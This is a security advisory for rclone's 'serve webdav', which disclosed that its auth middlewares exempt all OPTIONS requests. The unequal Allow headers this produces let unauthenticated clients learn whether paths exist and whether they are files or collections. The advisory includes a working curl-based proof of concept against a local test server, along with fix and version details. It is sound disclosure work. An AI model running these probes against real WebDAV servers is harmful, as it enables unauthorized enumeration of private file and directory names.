github.com/rclone/rclone: `serve webdav` skips authentication for every OPTIONS request
What fixes it
- 1.75.2github.com/rclone/rclone, goGitHub
go get github.com/rclone/rclone@v1.75.2
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
Both HTTP auth middlewares in lib/http return early for any OPTIONS request, not just genuine CORS preflights. In rclone serve webdav - the only server that routes OPTIONS to a real handler - this lets an unauthenticated client ask about any path and read the answer from the Allow header, which differs for an existing file, an existing collection and a missing path. --user/--pass, --htpasswd and --auth-proxy are all bypassed for that method.
Details
lib/http/middleware.go, basicAuth() (line 60) and MiddlewareAuthCustom() (line 128) both contain:
// skip auth for CORS preflight
if r.Method == "OPTIONS" {
next.ServeHTTP(w, r)
return
}Neither checks for the headers that actually identify a preflight (Origin plus Access-Control-Request-Method), and neither constrains what the downstream handler may return - so the exemption applies to every OPTIONS request from any client.
cmd/serve/webdav/webdav.go registers its handler for all methods (lines 318, 330-332):
router.Handle("/*", w) // chi: every method, OPTIONS included
for _, method := range []string{"COPY", "LOCK", "MKCOL", "MOVE",
"PROPFIND", "PROPPATCH", "UNLOCK"} {
chi.RegisterMethod(method)
router.Method(method, "/*", w)
}WebDAV.ServeHTTP passes OPTIONS straight to golang.org/x/net/webdav, whose handleOptions stats the requested path and selects the Allow value from the result. The unauthenticated caller therefore learns, for any path they name, whether it exists and whether it is a file or a collection.
The exemption exists so browser CORS preflights (which carry no credentials) succeed. The defect is that it is unconditional rather than limited to actual preflights.
PoC
Verified on a clean checkout of master commit 220fe7619 (git describe: v1.75.0-201-g220fe7619, VERSION = v1.76.0), Linux, go1.26.0. Read-only, local, non-destructive.
1. Build and serve a directory with authentication enabled
git clone https://github.com/rclone/rclone /tmp/rc && cd /tmp/rc git checkout 220fe7619 go build -o /tmp/rclone . mkdir -p /tmp/dav/secretdir && echo "top secret" > /tmp/dav/secret.txt : > /tmp/dav/rclone.conf /tmp/rclone serve webdav --config /tmp/dav/rclone.conf \ --addr 127.0.0.1:18081 --user user --pass SuperSecretPassword /tmp/dav & sleep 2
**2. Unauthenticated requests - no Authorization header at all**
for m in GET PROPFIND; do
printf '%-9s /secret.txt -> %s\n' "$m" \
"$(curl -s -o /dev/null -w '%{http_code}' -X $m http://127.0.0.1:18081/secret.txt)"
done
for p in /secret.txt /secretdir/ /does-not-exist; do
printf 'OPTIONS %-16s -> HTTP %s Allow: %s\n' "$p" \
"$(curl -s -o /dev/null -w '%{http_code}' -X OPTIONS http://127.0.0.1:18081$p)" \
"$(curl -s -D- -o /dev/null -X OPTIONS http://127.0.0.1:18081$p | tr -d '\r' | awk -F': ' '/^Allow:/{print $2}')"
doneObserved:
GET /secret.txt -> 401 PROPFIND /secret.txt -> 401 OPTIONS /secret.txt -> HTTP 200 Allow: OPTIONS, LOCK, GET, HEAD, POST, DELETE, PROPPATCH, COPY, MOVE, UNLOCK, PROPFIND, PUT OPTIONS /secretdir/ -> HTTP 200 Allow: OPTIONS, LOCK, DELETE, PROPPATCH, COPY, MOVE, UNLOCK, PROPFIND OPTIONS /does-not-exist -> HTTP 200 Allow: OPTIONS, LOCK, PUT, MKCOL
The three Allow values are distinct and identify "existing file", "existing collection" and "does not exist". Every other method is correctly rejected with 401.
3. Sanity check that auth is otherwise working
curl -s -u user:SuperSecretPassword http://127.0.0.1:18081/secret.txt # -> top secret kill %1 && rm -rf /tmp/dav /tmp/rclone /tmp/rc
Scope check. rclone serve http was tested the same way and is not affected - it registers only GET/HEAD, so all three probes return an identical 405 Method Not Allowed. serve restic registers only GET/POST/HEAD/DELETE; rcd's handleOptions returns an empty 200. The pprof handlers mounted at router.Handle("/debug/pprof/*", mux) in fs/rc/rcserver are also not reachable this way - chi answers 405 for OPTIONS there even with valid credentials.
Affected-version evidence. The unconditional exemption was introduced in v1.64.0 (commit 88c72d1f4, which moved the OPTIONS short-circuit out of the CORS middleware into both auth middlewares):
for t in $(git tag --sort=v:refname | grep -E '^v1\.(6[3-9]|7[0-9])\.[0-9]+$'); do
n=$(git show "${t}:lib/http/middleware.go" | grep -c 'if r.Method == "OPTIONS" {')
printf '%s=%s ' "$t" "$n"; done
# v1.63.0=0 v1.63.1=0 v1.64.0=2 v1.64.1=2 ... v1.74.4=2 v1.75.0=2 (HEAD=2)Impact
Missing authentication for one HTTP method (CWE-306) yielding an unauthenticated information disclosure (CWE-200) via an observable response discrepancy (CWE-204). Any rclone serve webdav deployment that relies on --user/--pass, --htpasswd or --auth-proxy is impacted: a remote, unauthenticated attacker can probe the whole served remote for the existence and type of arbitrary paths, one request per candidate name. Directory and file names are frequently sensitive on their own and the oracle enables namespace enumeration before further attack. Exposure is metadata only - no file contents, listings or writes are reachable through OPTIONS.
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Text from GitHub Advisory Database
Affected versions 1
- github.com/rclone/rclone, go>= 1.64.0, <= 1.75.1GitHub